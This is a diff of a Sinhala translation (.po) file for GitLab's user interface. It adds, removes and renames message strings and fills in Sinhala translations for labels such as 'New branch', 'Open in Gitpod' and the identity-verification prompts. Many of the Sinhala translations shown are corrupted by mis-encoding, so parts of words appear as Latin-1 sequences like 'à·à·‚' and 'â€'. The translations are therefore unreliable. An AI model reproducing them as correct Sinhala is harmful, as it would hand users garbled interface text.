@@ -17209,7 +17394,7 @@ msgid "File too large. Secure Files must be less than %{limit} MB."
msgstr ""
msgid "File upload error."
-msgstr ""
+msgstr "ගොනුව උඩුගත කිරීමේ දà·à·‚යකි."
msgid "Filename"
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr "අනුව පෙරන්න"
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr "ගිට් ප්â€à¶»à¶­à·’à·à·à¶°à¶±à¶º අනුව පෙරන්න"
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17299,7 +17481,7 @@ msgid "Filter..."
msgstr ""
msgid "Find File"
-msgstr ""
+msgstr "ගොනුවක් සොයන්න"
msgid "Find bugs in your code with API fuzzing."
msgstr ""
@@ -17311,7 +17493,7 @@ msgid "Find by path"
msgstr ""
msgid "Find file"
-msgstr ""
+msgstr "ගොනුවක් සොයන්න"
msgid "Fingerprint (MD5)"
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "ජීපීජී යතුරු"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr "ගිට්"
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18711,13 +18890,13 @@ msgid "GithubIntegration|This requires mirroring your GitHub repository to this
msgstr ""
msgid "Gitpod"
-msgstr ""
+msgstr "ගිට්පොඩ්"
msgid "Gitpod|Enable Gitpod integration"
-msgstr ""
+msgstr "ගිට්පොඩ් අනුකලනය සබල කරන්න"
msgid "Gitpod|Gitpod URL"
-msgstr ""
+msgstr "ගිට්පොඩ් ඒ.ස.නි."
msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr "සමූහ"
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’"
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "ගිට්ලà·à¶¶à·Š à·„à·’ සොයන්න"
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr "à·ƒà·à¶šà·ƒà·”ම්"
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr "බොහ෠ව්â€à¶ºà·à¶´à·˜à¶­à·’ සහ à·ƒà·à¶¸à·à¶¢à·’කය
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "උප සමූහ හ෠ව්â€à¶ºà·à¶´à·˜à¶­à·’ නà·à¶­."
@@ -19821,7 +20033,7 @@ msgid "GroupsNew|Create new group"
msgstr ""
msgid "GroupsNew|Create subgroup"
-msgstr ""
+msgstr "උප සමූහයක් à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "GroupsNew|GitLab source URL"
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19863,7 +20087,7 @@ msgid "GroupsNew|To import a group, navigate to the group settings for the GitLa
msgstr ""
msgid "GroupsNew|Upload file"
-msgstr ""
+msgstr "ගොනුවක් යොදන්න"
msgid "GroupsNew|You can also %{linkStart}import an existing group%{linkEnd}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20029,7 +20256,7 @@ msgid "HarborRegistry|-- artifacts"
msgstr ""
msgid "HarborRegistry|-- tags"
-msgstr ""
+msgstr "-- අනන්â€à¶ºà¶±"
msgid "HarborRegistry|Digest: %{imageId}"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20510,10 +20743,10 @@ msgid "Identities"
msgstr ""
msgid "IdentityVerification|%{linkStart}Enter a new phone number%{linkEnd}"
-msgstr ""
+msgstr "%{linkStart}නව දු.ක. අංකයක් ඇතුල් කරන්න%{linkEnd}"
msgid "IdentityVerification|A new code has been sent."
-msgstr ""
+msgstr "නව කේතයක් යව෠ඇත."
msgid "IdentityVerification|Before you create your first project, we need you to verify your identity with a valid payment method. You will not be charged during this step. If we ever need to charge you, we will let you know."
msgstr ""
@@ -20537,7 +20770,7 @@ msgid "IdentityVerification|Didn't receive a code?"
msgstr ""
msgid "IdentityVerification|Didn't receive a code? %{linkStart}Send a new code%{linkEnd}"
-msgstr ""
+msgstr "කේතයක් නොලà·à¶¶à·”නේද? %{linkStart}නව කේතයක් යවන්න%{linkEnd}"
msgid "IdentityVerification|Enter a code."
msgstr ""
@@ -20594,7 +20827,7 @@ msgid "IdentityVerification|Resend code"
msgstr "කේතය යළි යවන්න"
msgid "IdentityVerification|Send a new code"
-msgstr ""
+msgstr "නව කේතයක් යවන්න"
msgid "IdentityVerification|Send code"
msgstr ""
@@ -20612,10 +20845,10 @@ msgid "IdentityVerification|Step %{stepNumber}: Verify phone number"
msgstr ""
msgid "IdentityVerification|The code has expired. Send a new code and try again."
-msgstr ""
+msgstr "කේතය කල් ඉකුත් වී ඇත. නව කේතයක් යව෠නà·à·€à¶­ උත්සà·à·„ කරන්න."
msgid "IdentityVerification|The code is incorrect. Enter it again, or send a new code."
-msgstr ""
+msgstr "කේතය à·€à·à¶»à¶¯à·’යි. එය නà·à·€à¶­ ඇතුල් කරන්න, හෝ නව කේතයක් යවන්න."
msgid "IdentityVerification|Verification code"
msgstr "තහවුරු කේතය"
@@ -20645,7 +20878,7 @@ msgid "IdentityVerification|Verify your identity"
msgstr ""
msgid "IdentityVerification|We sent a new code to +%{phoneNumber}"
-msgstr ""
+msgstr "නව කේතයක් +%{phoneNumber} වෙත යà·à·€à·’ණි"
msgid "IdentityVerification|We've sent a verification code to +%{phoneNumber}"
msgstr ""
@@ -20660,7 +20893,7 @@ msgid "IdentityVerification|You've reached the maximum amount of resends. Wait %
msgstr ""
msgid "IdentityVerification|You've reached the maximum amount of tries. Wait %{interval} or send a new code and try again."
-msgstr ""
+msgstr "උපරිම තà·à¶­à·Š කිරීම් ගණනට ළඟ෠වී ඇත. %{interval} ක් රà·à¶³à·“ සිටින්න හ෠නව කේතයක් යව෠උත්සà·à·„ කරන්න."
msgid "IdentityVerification|Your account has been successfully verified. You'll be redirected to your account in just a moment. You can also %{redirect_url_start}refresh the page%{redirect_url_end}."
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20750,7 +20983,7 @@ msgid "If you lose your recovery codes you can generate new ones, invalidating a
msgstr ""
msgid "If you recently signed in and recognize the IP address, you may disregard this email."
-msgstr "ඔබ මෑත දී ඇතුළු වී හ෠අ.ජà·.කෙ. ලිපිනය හඳුන෠ගන්නේ නම්, මෙම වි-තà·à¶´à·‘ල නොසලකන්න."
+msgstr "ඔබ මෑත දී ඇතුළු වී ඇත්නම් හ෠අ.ජà·.කෙ. ලිපිනය හඳුන෠ගන්නේ නම්, මෙම වි-තà·à¶´à·‘ල නොසලකන්න."
msgid "If you recently tried to sign in, but mistakenly entered a wrong two-factor authentication code, you may ignore this email."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -22501,13 +22758,13 @@ msgid "Invite \"%{email}\" by email"
msgstr ""
msgid "Invite Members"
-msgstr ""
+msgstr "à·ƒà·à¶¸à·à¶¢à·’කයින්ට ඇරයුම්"
msgid "Invite a group"
msgstr ""
msgid "Invite members"
-msgstr ""
+msgstr "à·ƒà·à¶¸à·à¶¢à·’කයින්ට ඇරයුම්"
msgid "InviteEmail|%{inviter} invited you to join the %{project_or_group_name} %{project_or_group} as a %{role}"
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24205,7 +24459,7 @@ msgid "Latest pipeline for the most recent commit on this branch"
msgstr ""
msgid "Launch a ready-to-code development environment for your project."
-msgstr ""
+msgstr "ඔබගේ ව්â€à¶ºà·à¶´à·˜à¶­à·’ය සඳහ෠කේතනයට සූදà·à¶±à¶¸à·Š සංවර්ධන පරිසරයක් දියත් කරන්න."
msgid "Layout|Fixed"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr "උපකරණ පුවරු කළමනà·à¶šà¶»à¶«à¶º"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr "මෙම %{noun} සූදà·à¶±à¶¸à·Š ලෙස යොදන්න."
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr "මෙම %{noun} සූදà·à¶±à¶¸à·Š ලෙස යොදන්න."
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr "සමූහ සොයන්න"
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr "සන්ධිස්ථà·à¶± සොයන්න"
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr "ප්â€à¶»à·à¶¸à·’තියස් අනුකලන කිහිපයකට සහය නොදක්වයි"
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr "නව"
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "උදව්"
@@ -27113,7 +27454,7 @@ msgid "New Application"
msgstr ""
msgid "New Branch"
-msgstr ""
+msgstr "නව à·à·à¶›à·à·€"
msgid "New Deploy Key"
msgstr ""
@@ -27125,7 +27466,7 @@ msgid "New Epic"
msgstr ""
msgid "New File"
-msgstr ""
+msgstr "නව ගොනුව"
msgid "New Group"
msgstr "නව සමූහය"
@@ -27163,7 +27504,7 @@ msgid "New Project"
msgstr "නව ව්â€à¶ºà·à¶´à·˜à¶­à·’ය"
msgid "New Protected Branch"
-msgstr ""
+msgstr "නව රක්â€à·‚ිත à·à·à¶›à·à·€"
msgid "New Requirement"
msgstr ""
@@ -27181,10 +27522,10 @@ msgid "New application"
msgstr ""
msgid "New branch"
-msgstr ""
+msgstr "නව à·à·à¶›à·à·€"
msgid "New branch unavailable"
-msgstr ""
+msgstr "නව à·à·à¶›à·à·€ නොතිබේ"
msgid "New code quality findings"
msgstr ""
@@ -27199,10 +27540,7 @@ msgid "New deploy key"
msgstr ""
msgid "New directory"
-msgstr ""
-
-msgid "New discussion"
-msgstr ""
+msgstr "නව නà·à¶¸à·à·€à¶½à·’ය"
msgid "New email address added"
msgstr ""
@@ -27220,7 +27558,7 @@ msgid "New error tracking access token has been generated!"
msgstr ""
msgid "New file"
-msgstr ""
+msgstr "නව ගොනුව"
msgid "New group"
msgstr "නව සමූහය"
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "වප්"
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28800,7 +29159,7 @@ msgid "Open errors"
msgstr ""
msgid "Open in Gitpod"
-msgstr ""
+msgstr "ගිට්පොඩ් හි අරින්න"
msgid "Open in Web IDE"
msgstr ""
@@ -28809,7 +29168,7 @@ msgid "Open in file view"
msgstr ""
msgid "Open in your IDE"
-msgstr ""
+msgstr "ඔබගේ IDE හි අරින්න"
msgid "Open new window"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr "හෙල්ම්"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29675,7 +30022,7 @@ msgid "PasswordPrompt|Please enter your password to confirm"
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
-msgstr ""
+msgstr "අනන්â€à¶º මුරපදයක් විය යුතු අතර වෙනත් අඩවි හ෠සේව෠සඳහ෠භà·à·€à·’ත෠නොකළ යුතුය."
msgid "Password|Not satisfied"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
